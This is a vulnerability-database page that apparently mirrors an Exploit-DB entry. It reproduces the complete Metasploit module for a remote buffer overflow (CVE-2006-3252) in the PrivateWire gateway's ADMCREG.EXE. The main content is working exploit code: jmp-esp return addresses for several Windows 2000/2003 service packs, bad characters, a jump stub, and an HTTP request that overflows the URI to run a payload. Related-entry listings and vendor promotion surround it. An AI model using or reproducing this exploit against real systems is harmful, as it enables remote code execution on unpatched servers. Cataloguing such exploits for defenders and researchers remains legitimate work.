Lucene search
K

Private Wire Gateway - Remote Buffer Overflow (Metasploit)

🗓️ 30 Apr 2010 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

Private Wire Gateway Buffer Overflow in ADMCREG.EX

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2006-3252
30 Apr 201000:00
circl
CVE
CVE-2006-3252
27 Jun 200618:00
cve
Cvelist
CVE-2006-3252
27 Jun 200618:00
cvelist
Metasploit
Private Wire Gateway Buffer Overflow
7 Jan 200707:54
metasploit
NVD
CVE-2006-3252
27 Jun 200618:05
nvd
Packet Storm
Private Wire Gateway Buffer Overflow
26 Nov 200900:00
packetstorm
##
# $Id: privatewire_gateway.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

# This file may only be distributed as part of the Metasploit Framework.
# Any other use needs a written permission from the author.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Private Wire Gateway Buffer Overflow',
			'Description'    => %q{
					This exploits a buffer overflow in the ADMCREG.EXE used
				in the PrivateWire Online Registration Facility.
			},
			'Author'         => 'Michael Thumann <mthumann[at]ernw.de>',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					['CVE', '2006-3252'],
					['OSVDB', '26861'],
					['BID', '18647'],
				],
			'Payload'        =>
				{
					'Space'    => 8000,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 English SP0',     { 'Ret' => 0x77e3c289 }], # jmp esp user32.dll
					['Windows 2000 English SP1',     { 'Ret' => 0x77e3cb4c }], # jmp esp user32.dll
					['Windows 2000 English SP2',     { 'Ret' => 0x77e3af64 }], # jmp esp user32.dll
					['Windows 2000 English SP3',     { 'Ret' => 0x77e388a7 }], # jmp esp user32.dll
					['Windows 2000 English SP4',     { 'Ret' => 0x77e3c256 }], # jmp esp user32.dll
					['Windows 2003 English SP0/SP1', { 'Ret' => 0x77d74c94 }], # jmp esp user32.dll
					['Debugging',                    { 'Ret' => 0x41414141 }], # crash
				],
			'DefaultTarget'  => 4,
			'DisclosureDate' => 'Jun 26 2006'))

		register_options(
			[
				OptString.new('PATH', [ true, "Installation path of Privatewire", 'C:\Cipgw' ])
			], self.class)
	end

	def exploit
		# add 25 to ecx and jmp
		jmp = "\x6a\x19\x58\x01\xc1\xff\xe1"

		path_offset = datastore['PATH'].length - 8

		pattern                            = rand_text_alphanumeric(8192)
		pattern[0, payload.encoded.length] = payload.encoded
		pattern[8156 - path_offset, 4]     = [target.ret].pack('V')
		pattern[8160, jmp.length]          = jmp

		print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")

		send_request_raw({
				'uri' => "/" + pattern
			}, 2)
	end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation